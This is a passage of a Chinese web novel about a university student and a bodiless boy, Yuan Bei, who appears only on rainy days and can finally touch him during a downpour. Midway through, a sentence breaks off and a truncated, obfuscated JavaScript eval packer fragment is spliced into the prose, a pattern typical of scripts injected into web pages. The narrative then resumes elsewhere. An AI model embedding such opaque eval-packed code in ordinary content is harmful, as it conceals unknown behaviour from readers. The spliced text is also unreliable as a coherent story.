原北看向他,说了什么,可方野只看到口型,没有声音。先于理智的恐慌感支配了他,让他伸手去抓原北的袖口,但原北有点遗憾地对他摊开手,目光望向窗外。 雨停了,原北也像太阳下的水汽,轻飘飘杳无踪迹。 2 5月14日,阴 原北没有出现,方野上了一天的课。回宿舍后室友小心翼翼问他是不是作业太多要猝死,他疲惫地摇了摇头,简单洗漱后躺到床上。 天气预报说零点后会下雨。 3 5月15日,小雨转中雨 半夜时沙沙的雨声从没关严的窗户缝里传到室内,方野忽地惊醒,拿起手机,照见阳台外面坐着一个人影。 他下床推开阳台的门,坐在阳台边,伸手去接雨的原北,仰头静静看着天幕。 “吵醒你了?” 哪怕除了方野以外的人都看不见他、听不见他,原北还是放轻声音,“你看,下雨,我又来了。” 他屈起双腿,头靠在膝盖上,换了一身浅蓝色的睡衣,黑发在风雨中飘动,对方野伸出手。 方野尝试去握他的手,只触到冰凉的水汽。 尽管已经尝试过无数次,可每次触碰原北失败时,方野还是会没原因地难过。 如果可以碰一碰手指就好了。 这个世界上,只有下雨天才能互相陪伴的人。 “到里面来吧。”方野说,“外面太冷了。” “很冷吗?”原北笑笑,“感觉不到,走吧,你明天还有课呢。” 他轻轻哼着歌,看起来并不为这种不定期的见面苦闷。如果见面了,那自然很开心,如果不下雨,据原北所说,他就在睡觉。 漫长的无雨时间,就只有方野清醒地等待。 方野躺在床上,缺乏睡意。忽然间他的脸侧掠过微凉的水汽,原北不知什么时候,坐在他床边。 黑暗里,窗外一点点朦胧的光,照得原北的轮廓半透明一样。 “怎么不睡觉?” “睡不着。” “在想什么?” “想你。” 原北啊了一声,有点无奈似的。他说:“别想了,明天一天都有雨,我不会走的。” 4 方野不知道原北是什么时候处于这种状态的。 他来到千里之外的广城上大学,大一上学期的一个雨天,过十字路口时看到有个男生,伞也不撑,只穿着白色短袖和牛仔裤,低着头走在路中央。 恰好绿灯亮起,他面对汹涌的车流躲都不躲,直接迎面撞了上去。匪夷所思的是,路人都无动于衷,那些车也不曾减速,就这样……穿过他潮湿的身体。 已经拿出手机打算报警的方野愣住了。 出于好奇,他穿过路口追上了这个神秘的男生,却在伸手拍他的肩膀时落了个空。 方野也不明白那天他怎么会有多管闲事的闲心,正常来说,能路过帮忙打一个120就已经是他道德的极限。 回过头的人,黑发有些凌乱地贴在脸侧,眼睛讶异地睁大。过了会,他问:“你能看见我?” 方野也愣住,不顾路人眼里的场景有多么诡异,他说:“是啊。” 随后,原北露出了对他的第一个,也是认识以来最真诚的笑容。 “你好,我是原北,你是第一个能看到我的人。不介意的话,我们一起走一段吧。” 就像都市传说,或者什么灵异故事。只在雨天才能出现的没有实体的原北,和世界上唯一能看见他,和他说话的方野。 幸好广城多雨,这种见面会比较频繁。 他问过原北很多问题,但原北大部分都想不起来。他有记忆时就穿梭在雨水中,单向接触这个世界,雨停时便睡觉,一直等到下一场雨再醒来。 5 5月21日,小雨 停了两天的雨又下起来了。方野起得很早,却没见到原北。他感到焦虑,因为往常不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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大雨来得比天气预报还早、还猛烈,水像从天上往下倒。方野暂时离开不了图书馆,独自坐在角落,心神不宁。 他有作业要交,任务繁重。图书馆又是一人一座,管理员时不时巡逻,再占一个座位很麻烦。于是原北悄无声息地去了楼下阅览室。 方野把作业告一段落,放下笔,去楼下找原北。 阅览室有个角落会放电影,影片都是图书馆资料库的,大多是老电影,但原北还看得颇有兴致。 清洁阿姨正好打扫到沙发那里,用纸巾擦了擦沙发,疑惑地说:“哪个学生,水洒在上面也不擦……” 原北站在旁边,没有办法,只好对阿姨双手合十,道了个她看不见的歉。 雨太大,原北身上水汽愈盛。方野站在他身旁,都能感觉自己也在被水汽浸染。 “喂。”原北轻轻叫他,“转头。” 方野下意识听从了,下一刻,一点凉凉的东西,碰到了他的脸。 不是纯粹的水汽,而是隐约的触感,在方野脸上留下了一滴水渍。 他愣在原地,反而是原北看了看手,很平静地笑道:“哦?我好像可以碰到你了。”